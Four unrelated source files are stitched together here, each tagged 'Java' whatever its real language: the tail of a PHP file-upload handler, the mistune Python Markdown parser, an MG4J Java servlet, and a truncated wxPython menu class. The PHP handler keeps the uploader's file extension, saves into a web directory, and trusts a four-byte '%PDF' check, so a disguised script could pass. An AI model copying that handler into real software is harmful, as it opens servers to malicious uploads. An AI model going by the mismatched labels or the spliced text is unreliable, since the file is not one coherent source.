$ext = substr($name, $p_index + 1, strlen($name));
$target_file = $target_dir.$new_name.".".$ext;
if (move_uploaded_file($tmp_name, $target_file))
{
$handle = fopen($target_file, "r");
$content = fread($handle, 4);
fclose($handle);
if($content == "%PDF")
{
$resp = $resp.'|'.str_replace(":", "$", $target_file);
}
else
{
$real_path = $_SERVER["DOCUMENT_ROOT"]."/gov_portal/backgp/upload/news/doc/".$new_name.".".$ext;
unlink($real_path);
}
$return_value = "y";
}
else {
$resp = 'Falha t: '.$name;
$return_value = "n";
}
}
}
else
{
$return_value = "n";
$resp = 'Não entrou no if!';
}
echo json_encode(array($return_value => $resp));
?> | Java |
# coding: utf-8
"""
mistune
~~~~~~~
The fastest markdown parser in pure Python with renderer feature.
:copyright: (c) 2014 - 2016 by Hsiaoming Yang.
"""
import re
import inspect
__version__ = '0.7.3'
__author__ = 'Hsiaoming Yang <me@lepture.com>'
__all__ = [
'BlockGrammar', 'BlockLexer',
'InlineGrammar', 'InlineLexer',
'Renderer', 'Markdown',
'markdown', 'escape',
]
_key_pattern = re.compile(r'\s+')
_nonalpha_pattern = re.compile(r'\W')
_escape_pattern = re.compile(r'&(?!#?\w+;)')
_newline_pattern = re.compile(r'\r\n|\r')
_block_quote_leading_pattern = re.compile(r'^ *> ?', flags=re.M)
_block_code_leading_pattern = re.compile(r'^ {4}', re.M)
_inline_tags = [
'a', 'em', 'strong', 'small', 's', 'cite', 'q', 'dfn', 'abbr', 'data',
'time', 'code', 'var', 'samp', 'kbd', 'sub', 'sup', 'i', 'b', 'u', 'mark',
'ruby', 'rt', 'rp', 'bdi', 'bdo', 'span', 'br', 'wbr', 'ins', 'del',
'img', 'font',
]
_pre_tags = ['pre', 'script', 'style']
_valid_end = r'(?!:/|[^\w\s@]*@)\b'
_valid_attr = r'''\s*[a-zA-Z\-](?:\=(?:"[^"]*"|'[^']*'|\d+))*'''
_block_tag = r'(?!(?:%s)\b)\w+%s' % ('|'.join(_inline_tags), _valid_end)
_scheme_blacklist = ('javascript:', 'vbscript:')
def _pure_pattern(regex):
pattern = regex.pattern
if pattern.startswith('^'):
pattern = pattern[1:]
return pattern
def _keyify(key):
return _key_pattern.sub(' ', key.lower())
def escape(text, quote=False, smart_amp=True):
"""Replace special characters "&", "<" and ">" to HTML-safe sequences.
The original cgi.escape will always escape "&", but you can control
this one for a smart escape amp.
:param quote: if set to True, " and ' will be escaped.
:param smart_amp: if set to False, & will always be escaped.
"""
if smart_amp:
text = _escape_pattern.sub('&', text)
else:
text = text.replace('&', '&')
text = text.replace('<', '<')
text = text.replace('>', '>')
if quote:
text = text.replace('"', '"')
text = text.replace("'", ''')
return text
def escape_link(url):
"""Remove dangerous URL schemes like javascript: and escape afterwards."""
lower_url = url.lower().strip('\x00\x1a \n\r\t')
for scheme in _scheme_blacklist:
if lower_url.startswith(scheme):
return ''
return escape(url, quote=True, smart_amp=False)
def preprocessing(text, tab=4):
text = _newline_pattern.sub('\n', text)
text = text.expandtabs(tab)
text = text.replace('\u00a0', ' ')
text = text.replace('\u2424', '\n')
pattern = re.compile(r'^ +$', re.M)
return pattern.sub('', text)
class BlockGrammar(object):
"""Grammars for block level tokens."""
def_links = re.compile(
r'^ *\[([^^\]]+)\]: *' # [key]:
r'<?([^\s>]+)>?' # <link> or link
r'(?: +["(]([^\n]+)[")])? *(?:\n+|$)'
)
def_footnotes = re.compile(
r'^\[\^([^\]]+)\]: *('
r'[^\n]*(?:\n+|$)' # [^key]:
r'(?: {1,}[^\n]*(?:\n+|$))*'
r')'
)
newline = re.compile(r'^\n+')
block_code = re.compile(r'^( {4}[^\n]+\n*)+')
fences = re.compile(
r'^ *(`{3,}|~{3,}) *(\S+)? *\n' # ```lang
r'([\s\S]+?)\s*'
r'\1 *(?:\n+|$)' # ```
)
hrule = re.compile(r'^ {0,3}[-*_](?: *[-*_]){2,} *(?:\n+|$)')
heading = re.compile(r'^ *(#{1,6}) *([^\n]+?) *#* *(?:\n+|$)')
lheading = re.compile(r'^([^\n]+)\n *(=|-)+ *(?:\n+|$)')
block_quote = re.compile(r'^( *>[^\n]+(\n[^\n]+)*\n*)+')
list_block = re.compile(
r'^( *)([*+-]|\d+\.) [\s\S]+?'
r'(?:'
r'\n+(?=\1?(?:[-*_] *){3,}(?:\n+|$))' # hrule
r'|\n+(?=%s)' # def links
r'|\n+(?=%s)' # def footnotes
r'|\n{2,}'
r'(?! )'
r'(?!\1(?:[*+-]|\d+\.) )\n*'
r'|'
r'\s*$)' % (
_pure_pattern(def_links),
_pure_pattern(def_footnotes),
)
)
list_item = re.compile(
r'^(( *)(?:[*+-]|\d+\.) [^\n]*'
r'(?:\n(?!\2(?:[*+-]|\d+\.) )[^\n]*)*)',
flags=re.M
)
list_bullet = re.compile(r'^ *(?:[*+-]|\d+\.) +')
paragraph = re.compile(
r'^((?:[^\n]+\n?(?!'
r'%s|%s|%s|%s|%s|%s|%s|%s|%s'
r'))+)\n*' % (
_pure_pattern(fences).replace(r'\1', r'\2'),
_pure_pattern(list_block).replace(r'\1', r'\3'),
_pure_pattern(hrule),
_pure_pattern(heading),
_pure_pattern(lheading),
_pure_pattern(block_quote),
_pure_pattern(def_links),
_pure_pattern(def_footnotes),
'<' + _block_tag,
)
)
block_html = re.compile(
r'^ *(?:%s|%s|%s) *(?:\n{2,}|\s*$)' % (
r'<!--[\s\S]*?-->',
r'<(%s)((?:%s)*?)>([\s\S]*?)<\/\1>' % (_block_tag, _valid_attr),
r'<%s(?:%s)*?\s*\/?>' % (_block_tag, _valid_attr),
)
)
table = re.compile(
r'^ *\|(.+)\n *\|( *[-:]+[-| :]*)\n((?: *\|.*(?:\n|$))*)\n*'
)
nptable = re.compile(
r'^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*'
)
text = re.compile(r'^[^\n]+')
class BlockLexer(object):
"""Block level lexer for block grammars."""
grammar_class = BlockGrammar
default_rules = [
'newline', 'hrule', 'block_code', 'fences', 'heading',
'nptable', 'lheading', 'block_quote',
'list_block', 'block_html', 'def_links',
'def_footnotes', 'table', 'paragraph', 'text'
]
list_rules = (
'newline', 'block_code', 'fences', 'lheading', 'hrule',
'block_quote', 'list_block', 'block_html', 'text',
)
footnote_rules = (
'newline', 'block_code', 'fences', 'heading',
'nptable', 'lheading', 'hrule', 'block_quote',
'list_block', 'block_html', 'table', 'paragraph', 'text'
)
def __init__(self, rules=None, **kwargs):
self.tokens = []
self.def_links = {}
self.def_footnotes = {}
if not rules:
rules = self.grammar_class()
self.rules = rules
def __call__(self, text, rules=None):
return self.parse(text, rules)
def parse(self, text, rules=None):
text = text.rstrip('\n')
if not rules:
rules = self.default_rules
def manipulate(text):
for key in rules:
rule = getattr(self.rules, key)
m = rule.match(text)
if not m:
continue
getattr(self, 'parse_%s' % key)(m)
return m
return False # pragma: no cover
while text:
m = manipulate(text)
if m is not False:
text = text[len(m.group(0)):]
continue
if text: # pragma: no cover
raise RuntimeError('Infinite loop at: %s' % text)
return self.tokens
def parse_newline(self, m):
length = len(m.group(0))
if length > 1:
self.tokens.append({'type': 'newline'})
def parse_block_code(self, m):
# clean leading whitespace
code = _block_code_leading_pattern.sub('', m.group(0))
self.tokens.append({
'type': 'code',
'lang': None,
'text': code,
})
def parse_fences(self, m):
self.tokens.append({
'type': 'code',
'lang': m.group(2),
'text': m.group(3),
})
def parse_heading(self, m):
self.tokens.append({
'type': 'heading',
'level': len(m.group(1)),
'text': m.group(2),
})
def parse_lheading(self, m):
"""Parse setext heading."""
self.tokens.append({
'type': 'heading',
'level': 1 if m.group(2) == '=' else 2,
'text': m.group(1),
})
def parse_hrule(self, m):
self.tokens.append({'type': 'hrule'})
def parse_list_block(self, m):
bull = m.group(2)
self.tokens.append({
'type': 'list_start',
'ordered': '.' in bull,
})
cap = m.group(0)
self._process_list_item(cap, bull)
self.tokens.append({'type': 'list_end'})
def _process_list_item(self, cap, bull):
cap = self.rules.list_item.findall(cap)
_next = False
length = len(cap)
for i in range(length):
item = cap[i][0]
# remove the bullet
space = len(item)
item = self.rules.list_bullet.sub('', item)
# outdent
if '\n ' in item:
space = space - len(item)
pattern = re.compile(r'^ {1,%d}' % space, flags=re.M)
item = pattern.sub('', item)
# determine whether item is loose or not
loose = _next
if not loose and re.search(r'\n\n(?!\s*$)', item):
loose = True
rest = len(item)
if i != length - 1 and rest:
_next = item[rest-1] == '\n'
if not loose:
loose = _next
if loose:
t = 'loose_item_start'
else:
t = 'list_item_start'
self.tokens.append({'type': t})
# recurse
self.parse(item, self.list_rules)
self.tokens.append({'type': 'list_item_end'})
def parse_block_quote(self, m):
self.tokens.append({'type': 'block_quote_start'})
# clean leading >
cap = _block_quote_leading_pattern.sub('', m.group(0))
self.parse(cap)
self.tokens.append({'type': 'block_quote_end'})
def parse_def_links(self, m):
key = _keyify(m.group(1))
self.def_links[key] = {
'link': m.group(2),
'title': m.group(3),
}
def parse_def_footnotes(self, m):
key = _keyify(m.group(1))
if key in self.def_footnotes:
# footnote is already defined
return
self.def_footnotes[key] = 0
self.tokens.append({
'type': 'footnote_start',
'key': key,
})
text = m.group(2)
if '\n' in text:
lines = text.split('\n')
whitespace = None
for line in lines[1:]:
space = len(line) - len(line.lstrip())
if space and (not whitespace or space < whitespace):
whitespace = space
newlines = [lines[0]]
for line in lines[1:]:
newlines.append(line[whitespace:])
text = '\n'.join(newlines)
self.parse(text, self.footnote_rules)
self.tokens.append({
'type': 'footnote_end',
'key': key,
})
def parse_table(self, m):
item = self._process_table(m)
cells = re.sub(r'(?: *\| *)?\n$', '', m.group(3))
cells = cells.split('\n')
for i, v in enumerate(cells):
v = re.sub(r'^ *\| *| *\| *$', '', v)
cells[i] = re.split(r' *\| *', v)
item['cells'] = cells
self.tokens.append(item)
def parse_nptable(self, m):
item = self._process_table(m)
cells = re.sub(r'\n$', '', m.group(3))
cells = cells.split('\n')
for i, v in enumerate(cells):
cells[i] = re.split(r' *\| *', v)
item['cells'] = cells
self.tokens.append(item)
def _process_table(self, m):
header = re.sub(r'^ *| *\| *$', '', m.group(1))
header = re.split(r' *\| *', header)
align = re.sub(r' *|\| *$', '', m.group(2))
align = re.split(r' *\| *', align)
for i, v in enumerate(align):
if re.search(r'^ *-+: *$', v):
align[i] = 'right'
elif re.search(r'^ *:-+: *$', v):
align[i] = 'center'
elif re.search(r'^ *:-+ *$', v):
align[i] = 'left'
else:
align[i] = None
item = {
'type': 'table',
'header': header,
'align': align,
}
return item
def parse_block_html(self, m):
tag = m.group(1)
if not tag:
text = m.group(0)
self.tokens.append({
'type': 'close_html',
'text': text
})
else:
attr = m.group(2)
text = m.group(3)
self.tokens.append({
'type': 'open_html',
'tag': tag,
'extra': attr,
'text': text
})
def parse_paragraph(self, m):
text = m.group(1).rstrip('\n')
self.tokens.append({'type': 'paragraph', 'text': text})
def parse_text(self, m):
text = m.group(0)
self.tokens.append({'type': 'text', 'text': text})
class InlineGrammar(object):
"""Grammars for inline level tokens."""
escape = re.compile(r'^\\([\\`*{}\[\]()#+\-.!_>~|])') # \* \+ \! ....
inline_html = re.compile(
r'^(?:%s|%s|%s)' % (
r'<!--[\s\S]*?-->',
r'<(\w+%s)((?:%s)*?)\s*>([\s\S]*?)<\/\1>' % (_valid_end, _valid_attr),
r'<\w+%s(?:%s)*?\s*\/?>' % (_valid_end, _valid_attr),
)
)
autolink = re.compile(r'^<([^ >]+(@|:)[^ >]+)>')
link = re.compile(
r'^!?\[('
r'(?:\[[^^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*'
r')\]\('
r'''\s*(<)?([\s\S]*?)(?(2)>)(?:\s+['"]([\s\S]*?)['"])?\s*'''
r'\)'
)
reflink = re.compile(
r'^!?\[('
r'(?:\[[^^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*'
r')\]\s*\[([^^\]]*)\]'
)
nolink = re.compile(r'^!?\[((?:\[[^\]]*\]|[^\[\]])*)\]')
url = re.compile(r'''^(https?:\/\/[^\s<]+[^<.,:;"')\]\s])''')
double_emphasis = re.compile(
r'^_{2}([\s\S]+?)_{2}(?!_)' # __word__
r'|'
r'^\*{2}([\s\S]+?)\*{2}(?!\*)' # **word**
)
emphasis = re.compile(
r'^\b_((?:__|[^_])+?)_\b' # _word_
r'|'
r'^\*((?:\*\*|[^\*])+?)\*(?!\*)' # *word*
)
code = re.compile(r'^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)') # `code`
linebreak = re.compile(r'^ {2,}\n(?!\s*$)')
strikethrough = re.compile(r'^~~(?=\S)([\s\S]*?\S)~~') # ~~word~~
footnote = re.compile(r'^\[\^([^\]]+)\]')
text = re.compile(r'^[\s\S]+?(?=[\\<!\[_*`~]|https?://| {2,}\n|$)')
def hard_wrap(self):
"""Grammar for hard wrap linebreak. You don't need to add two
spaces at the end of a line.
"""
self.linebreak = re.compile(r'^ *\n(?!\s*$)')
self.text = re.compile(
r'^[\s\S]+?(?=[\\<!\[_*`~]|https?://| *\n|$)'
)
class InlineLexer(object):
"""Inline level lexer for inline grammars."""
grammar_class = InlineGrammar
default_rules = [
'escape', 'inline_html', 'autolink', 'url',
'footnote', 'link', 'reflink', 'nolink',
'double_emphasis', 'emphasis', 'code',
'linebreak', 'strikethrough', 'text',
]
inline_html_rules = [
'escape', 'autolink', 'url', 'link', 'reflink',
'nolink', 'double_emphasis', 'emphasis', 'code',
'linebreak', 'strikethrough', 'text',
]
def __init__(self, renderer, rules=None, **kwargs):
self.renderer = renderer
self.links = {}
self.footnotes = {}
self.footnote_index = 0
if not rules:
rules = self.grammar_class()
kwargs.update(self.renderer.options)
if kwargs.get('hard_wrap'):
rules.hard_wrap()
self.rules = rules
self._in_link = False
self._in_footnote = False
self._parse_inline_html = kwargs.get('parse_inline_html')
def __call__(self, text, rules=None):
return self.output(text, rules)
def setup(self, links, footnotes):
self.footnote_index = 0
self.links = links or {}
self.footnotes = footnotes or {}
def output(self, text, rules=None):
text = text.rstrip('\n')
if not rules:
rules = list(self.default_rules)
if self._in_footnote and 'footnote' in rules:
rules.remove('footnote')
output = self.renderer.placeholder()
def manipulate(text):
for key in rules:
pattern = getattr(self.rules, key)
m = pattern.match(text)
if not m:
continue
self.line_match = m
out = getattr(self, 'output_%s' % key)(m)
if out is not None:
return m, out
return False # pragma: no cover
while text:
ret = manipulate(text)
if ret is not False:
m, out = ret
output += out
text = text[len(m.group(0)):]
continue
if text: # pragma: no cover
raise RuntimeError('Infinite loop at: %s' % text)
return output
def output_escape(self, m):
text = m.group(1)
return self.renderer.escape(text)
def output_autolink(self, m):
link = m.group(1)
if m.group(2) == '@':
is_email = True
else:
is_email = False
return self.renderer.autolink(link, is_email)
def output_url(self, m):
link = m.group(1)
if self._in_link:
return self.renderer.text(link)
return self.renderer.autolink(link, False)
def output_inline_html(self, m):
tag = m.group(1)
if self._parse_inline_html and tag in _inline_tags:
text = m.group(3)
if tag == 'a':
self._in_link = True
text = self.output(text, rules=self.inline_html_rules)
self._in_link = False
else:
text = self.output(text, rules=self.inline_html_rules)
extra = m.group(2) or ''
html = '<%s%s>%s</%s>' % (tag, extra, text, tag)
else:
html = m.group(0)
return self.renderer.inline_html(html)
def output_footnote(self, m):
key = _keyify(m.group(1))
if key not in self.footnotes:
return None
if self.footnotes[key]:
return None
self.footnote_index += 1
self.footnotes[key] = self.footnote_index
return self.renderer.footnote_ref(key, self.footnote_index)
def output_link(self, m):
return self._process_link(m, m.group(3), m.group(4))
def output_reflink(self, m):
key = _keyify(m.group(2) or m.group(1))
if key not in self.links:
return None
ret = self.links[key]
return self._process_link(m, ret['link'], ret['title'])
def output_nolink(self, m):
key = _keyify(m.group(1))
if key not in self.links:
return None
ret = self.links[key]
return self._process_link(m, ret['link'], ret['title'])
def _process_link(self, m, link, title=None):
line = m.group(0)
text = m.group(1)
if line[0] == '!':
return self.renderer.image(link, title, text)
self._in_link = True
text = self.output(text)
self._in_link = False
return self.renderer.link(link, title, text)
def output_double_emphasis(self, m):
text = m.group(2) or m.group(1)
text = self.output(text)
return self.renderer.double_emphasis(text)
def output_emphasis(self, m):
text = m.group(2) or m.group(1)
text = self.output(text)
return self.renderer.emphasis(text)
def output_code(self, m):
text = m.group(2)
return self.renderer.codespan(text)
def output_linebreak(self, m):
return self.renderer.linebreak()
def output_strikethrough(self, m):
text = self.output(m.group(1))
return self.renderer.strikethrough(text)
def output_text(self, m):
text = m.group(0)
return self.renderer.text(text)
class Renderer(object):
"""The default HTML renderer for rendering Markdown.
"""
def __init__(self, **kwargs):
self.options = kwargs
def placeholder(self):
"""Returns the default, empty output value for the renderer.
All renderer methods use the '+=' operator to append to this value.
Default is a string so rendering HTML can build up a result string with
the rendered Markdown.
Can be overridden by Renderer subclasses to be types like an empty
list, allowing the renderer to create a tree-like structure to
represent the document (which can then be reprocessed later into a
separate format like docx or pdf).
"""
return ''
def block_code(self, code, lang=None):
"""Rendering block level code. ``pre > code``.
:param code: text content of the code block.
:param lang: language of the given code.
"""
code = code.rstrip('\n')
if not lang:
code = escape(code, smart_amp=False)
return '<pre><code>%s\n</code></pre>\n' % code
code = escape(code, quote=True, smart_amp=False)
return '<pre><code class="lang-%s">%s\n</code></pre>\n' % (lang, code)
def block_quote(self, text):
"""Rendering <blockquote> with the given text.
:param text: text content of the blockquote.
"""
return '<blockquote>%s\n</blockquote>\n' % text.rstrip('\n')
def block_html(self, html):
"""Rendering block level pure html content.
:param html: text content of the html snippet.
"""
if self.options.get('skip_style') and \
html.lower().startswith('<style'):
return ''
if self.options.get('escape'):
return escape(html)
return html
def header(self, text, level, raw=None):
"""Rendering header/heading tags like ``<h1>`` ``<h2>``.
:param text: rendered text content for the header.
:param level: a number for the header level, for example: 1.
:param raw: raw text content of the header.
"""
return '<h%d>%s</h%d>\n' % (level, text, level)
def hrule(self):
"""Rendering method for ``<hr>`` tag."""
if self.options.get('use_xhtml'):
return '<hr />\n'
return '<hr>\n'
def list(self, body, ordered=True):
"""Rendering list tags like ``<ul>`` and ``<ol>``.
:param body: body contents of the list.
:param ordered: whether this list is ordered or not.
"""
tag = 'ul'
if ordered:
tag = 'ol'
return '<%s>\n%s</%s>\n' % (tag, body, tag)
def list_item(self, text):
"""Rendering list item snippet. Like ``<li>``."""
return '<li>%s</li>\n' % text
def paragraph(self, text):
"""Rendering paragraph tags. Like ``<p>``."""
return '<p>%s</p>\n' % text.strip(' ')
def table(self, header, body):
"""Rendering table element. Wrap header and body in it.
:param header: header part of the table.
:param body: body part of the table.
"""
return (
'<table>\n<thead>%s</thead>\n'
'<tbody>\n%s</tbody>\n</table>\n'
) % (header, body)
def table_row(self, content):
"""Rendering a table row. Like ``<tr>``.
:param content: content of current table row.
"""
return '<tr>\n%s</tr>\n' % content
def table_cell(self, content, **flags):
"""Rendering a table cell. Like ``<th>`` ``<td>``.
:param content: content of current table cell.
:param header: whether this is header or not.
:param align: align of current table cell.
"""
if flags['header']:
tag = 'th'
else:
tag = 'td'
align = flags['align']
if not align:
return '<%s>%s</%s>\n' % (tag, content, tag)
return '<%s style="text-align:%s">%s</%s>\n' % (
tag, align, content, tag
)
def double_emphasis(self, text):
"""Rendering **strong** text.
:param text: text content for emphasis.
"""
return '<strong>%s</strong>' % text
def emphasis(self, text):
"""Rendering *emphasis* text.
:param text: text content for emphasis.
"""
return '<em>%s</em>' % text
def codespan(self, text):
"""Rendering inline `code` text.
:param text: text content for inline code.
"""
text = escape(text.rstrip(), smart_amp=False)
return '<code>%s</code>' % text
def linebreak(self):
"""Rendering line break like ``<br>``."""
if self.options.get('use_xhtml'):
return '<br />\n'
return '<br>\n'
def strikethrough(self, text):
"""Rendering ~~strikethrough~~ text.
:param text: text content for strikethrough.
"""
return '<del>%s</del>' % text
def text(self, text):
"""Rendering unformatted text.
:param text: text content.
"""
if self.options.get('parse_block_html'):
return text
return escape(text)
def escape(self, text):
"""Rendering escape sequence.
:param text: text content.
"""
return escape(text)
def autolink(self, link, is_email=False):
"""Rendering a given link or email address.
:param link: link content or email address.
:param is_email: whether this is an email or not.
"""
text = link = escape(link)
if is_email:
link = 'mailto:%s' % link
return '<a href="%s">%s</a>' % (link, text)
def link(self, link, title, text):
"""Rendering a given link with content and title.
:param link: href link for ``<a>`` tag.
:param title: title content for `title` attribute.
:param text: text content for description.
"""
link = escape_link(link)
if not title:
return '<a href="%s">%s</a>' % (link, text)
title = escape(title, quote=True)
return '<a href="%s" title="%s">%s</a>' % (link, title, text)
def image(self, src, title, text):
"""Rendering a image with title and text.
:param src: source link of the image.
:param title: title text of the image.
:param text: alt text of the image.
"""
src = escape_link(src)
text = escape(text, quote=True)
if title:
title = escape(title, quote=True)
html = '<img src="%s" alt="%s" title="%s"' % (src, text, title)
else:
html = '<img src="%s" alt="%s"' % (src, text)
if self.options.get('use_xhtml'):
return '%s />' % html
return '%s>' % html
def inline_html(self, html):
"""Rendering span level pure html content.
:param html: text content of the html snippet.
"""
if self.options.get('escape'):
return escape(html)
return html
def newline(self):
"""Rendering newline element."""
return ''
def footnote_ref(self, key, index):
"""Rendering the ref anchor of a footnote.
:param key: identity key for the footnote.
:param index: the index count of current footnote.
"""
html = (
'<sup class="footnote-ref" id="fnref-%s">'
'<a href="#fn-%s" rel="footnote">%d</a></sup>'
) % (escape(key), escape(key), index)
return html
def footnote_item(self, key, text):
"""Rendering a footnote item.
:param key: identity key for the footnote.
:param text: text content of the footnote.
"""
back = (
'<a href="#fnref-%s" rev="footnote">↩</a>'
) % escape(key)
text = text.rstrip()
if text.endswith('</p>'):
text = re.sub(r'<\/p>$', r'%s</p>' % back, text)
else:
text = '%s<p>%s</p>' % (text, back)
html = '<li id="fn-%s">%s</li>\n' % (escape(key), text)
return html
def footnotes(self, text):
"""Wrapper for all footnotes.
:param text: contents of all footnotes.
"""
html = '<div class="footnotes">\n%s<ol>%s</ol>\n</div>\n'
return html % (self.hrule(), text)
class Markdown(object):
"""The Markdown parser.
:param renderer: An instance of ``Renderer``.
:param inline: An inline lexer class or instance.
:param block: A block lexer class or instance.
"""
def __init__(self, renderer=None, inline=None, block=None, **kwargs):
if not renderer:
renderer = Renderer(**kwargs)
else:
kwargs.update(renderer.options)
self.renderer = renderer
if inline and inspect.isclass(inline):
inline = inline(renderer, **kwargs)
if block and inspect.isclass(block):
block = block(**kwargs)
if inline:
self.inline = inline
else:
self.inline = InlineLexer(renderer, **kwargs)
self.block = block or BlockLexer(BlockGrammar())
self.footnotes = []
self.tokens = []
# detect if it should parse text in block html
self._parse_block_html = kwargs.get('parse_block_html')
def __call__(self, text):
return self.parse(text)
def render(self, text):
"""Render the Markdown text.
:param text: markdown formatted text content.
"""
return self.parse(text)
def parse(self, text):
out = self.output(preprocessing(text))
keys = self.block.def_footnotes
# reset block
self.block.def_links = {}
self.block.def_footnotes = {}
# reset inline
self.inline.links = {}
self.inline.footnotes = {}
if not self.footnotes:
return out
footnotes = filter(lambda o: keys.get(o['key']), self.footnotes)
self.footnotes = sorted(
footnotes, key=lambda o: keys.get(o['key']), reverse=True
)
body = self.renderer.placeholder()
while self.footnotes:
note = self.footnotes.pop()
body += self.renderer.footnote_item(
note['key'], note['text']
)
out += self.renderer.footnotes(body)
return out
def pop(self):
if not self.tokens:
return None
self.token = self.tokens.pop()
return self.token
def peek(self):
if self.tokens:
return self.tokens[-1]
return None # pragma: no cover
def output(self, text, rules=None):
self.tokens = self.block(text, rules)
self.tokens.reverse()
self.inline.setup(self.block.def_links, self.block.def_footnotes)
out = self.renderer.placeholder()
while self.pop():
out += self.tok()
return out
def tok(self):
t = self.token['type']
# sepcial cases
if t.endswith('_start'):
t = t[:-6]
return getattr(self, 'output_%s' % t)()
def tok_text(self):
text = self.token['text']
while self.peek()['type'] == 'text':
text += '\n' + self.pop()['text']
return self.inline(text)
def output_newline(self):
return self.renderer.newline()
def output_hrule(self):
return self.renderer.hrule()
def output_heading(self):
return self.renderer.header(
self.inline(self.token['text']),
self.token['level'],
self.token['text'],
)
def output_code(self):
return self.renderer.block_code(
self.token['text'], self.token['lang']
)
def output_table(self):
aligns = self.token['align']
aligns_length = len(aligns)
cell = self.renderer.placeholder()
# header part
header = self.renderer.placeholder()
for i, value in enumerate(self.token['header']):
align = aligns[i] if i < aligns_length else None
flags = {'header': True, 'align': align}
cell += self.renderer.table_cell(self.inline(value), **flags)
header += self.renderer.table_row(cell)
# body part
body = self.renderer.placeholder()
for i, row in enumerate(self.token['cells']):
cell = self.renderer.placeholder()
for j, value in enumerate(row):
align = aligns[j] if j < aligns_length else None
flags = {'header': False, 'align': align}
cell += self.renderer.table_cell(self.inline(value), **flags)
body += self.renderer.table_row(cell)
return self.renderer.table(header, body)
def output_block_quote(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'block_quote_end':
body += self.tok()
return self.renderer.block_quote(body)
def output_list(self):
ordered = self.token['ordered']
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_end':
body += self.tok()
return self.renderer.list(body, ordered)
def output_list_item(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_item_end':
if self.token['type'] == 'text':
body += self.tok_text()
else:
body += self.tok()
return self.renderer.list_item(body)
def output_loose_item(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_item_end':
body += self.tok()
return self.renderer.list_item(body)
def output_footnote(self):
self.inline._in_footnote = True
body = self.renderer.placeholder()
key = self.token['key']
while self.pop()['type'] != 'footnote_end':
body += self.tok()
self.footnotes.append({'key': key, 'text': body})
self.inline._in_footnote = False
return self.renderer.placeholder()
def output_close_html(self):
text = self.token['text']
return self.renderer.block_html(text)
def output_open_html(self):
text = self.token['text']
tag = self.token['tag']
if self._parse_block_html and tag not in _pre_tags:
text = self.inline(text, rules=self.inline.inline_html_rules)
extra = self.token.get('extra') or ''
html = '<%s%s>%s</%s>' % (tag, extra, text, tag)
return self.renderer.block_html(html)
def output_paragraph(self):
return self.renderer.paragraph(self.inline(self.token['text']))
def output_text(self):
return self.renderer.paragraph(self.tok_text())
def markdown(text, escape=True, **kwargs):
"""Render markdown formatted text to html.
:param text: markdown formatted text content.
:param escape: if set to False, all html tags will not be escaped.
:param use_xhtml: output with xhtml tags.
:param hard_wrap: if set to True, it will use the GFM line breaks feature.
:param parse_block_html: parse text only in block level html.
:param parse_inline_html: parse text only in inline level html.
"""
return Markdown(escape=escape, **kwargs)(text) | Java |
package it.unimi.di.big.mg4j.query;
/*
* MG4J: Managing Gigabytes for Java (big)
*
* Copyright (C) 2005-2015 Sebastiano Vigna
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 3 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, see <http://www.gnu.org/licenses/>.
*
*/
import it.unimi.di.big.mg4j.document.Document;
import it.unimi.di.big.mg4j.document.DocumentCollection;
import it.unimi.di.big.mg4j.document.DocumentFactory;
import it.unimi.di.big.mg4j.document.DocumentFactory.FieldType;
import it.unimi.dsi.fastutil.objects.ObjectArrayList;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.Reader;
import javax.servlet.ServletConfig;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.collections.ExtendedProperties;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringEscapeUtils;
import org.apache.velocity.Template;
import org.apache.velocity.context.Context;
import org.apache.velocity.tools.view.servlet.VelocityViewServlet;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/** An generic item, displaying all document fields.
*
* <P>This kind of {@link it.unimi.di.big.mg4j.query.QueryServlet} item will display each field
* of a document inside a <samp>FIELDSET</samp> element. It is mainly useful for debugging purposes.
*/
public class GenericItem extends VelocityViewServlet {
private static final long serialVersionUID = 1L;
private static final Logger LOGGER = LoggerFactory.getLogger( GenericItem.class );
@Override
protected ExtendedProperties loadConfiguration( final ServletConfig config ) throws FileNotFoundException, IOException {
return HttpQueryServer.setLiberalResourceLoading( super.loadConfiguration( config ) );
}
public Template handleRequest( final HttpServletRequest request, final HttpServletResponse response, final Context context ) throws Exception {
if ( request.getParameter( "doc" ) != null ) {
DocumentCollection collection = (DocumentCollection)getServletContext().getAttribute( "collection" );
response.setContentType( request.getParameter( "m" ) );
response.setCharacterEncoding( "UTF-8" );
final Document document = collection.document( Long.parseLong( request.getParameter( "doc" ) ) );
final DocumentFactory factory = collection.factory();
final ObjectArrayList<String> fields = new ObjectArrayList<String>();
final int numberOfFields = factory.numberOfFields();
LOGGER.debug( "ParsingFactory declares " + numberOfFields + " fields" );
for( int field = 0; field < numberOfFields; field++ ) {
if ( factory.fieldType( field ) != FieldType.TEXT ) fields.add( StringEscapeUtils.escapeHtml( document.content( field ).toString() ) );
else fields.add( StringEscapeUtils.escapeHtml( IOUtils.toString( (Reader)document.content( field ) ) ).replaceAll( "\n", "<br>\n" ) );
}
context.put( "title", document.title() );
context.put( "fields", fields );
context.put( "factory", factory );
return getTemplate( "it/unimi/dsi/mg4j/query/generic.velocity" );
}
return null;
}
}
| Java |
# noinspection PyPackageRequirements
import wx
import gui.globalEvents as GE
import gui.mainFrame
from gui.contextMenu import ContextMenuSingle
from service.fit import Fit
class AmmoToDmgPattern(ContextMenuSingle):
visibilitySetting = 'ammoPattern'
def __init__(self):
self.mainFrame = gui.mainFrame.MainFrame.getInstance()
def display(self, callingWindow, srcContext, mainItem):
if srcContext not in ("marketItemGroup", "marketItemMisc") or self.mainFrame.getActiveFit() is None:
return False
if mainItem is None:
return False
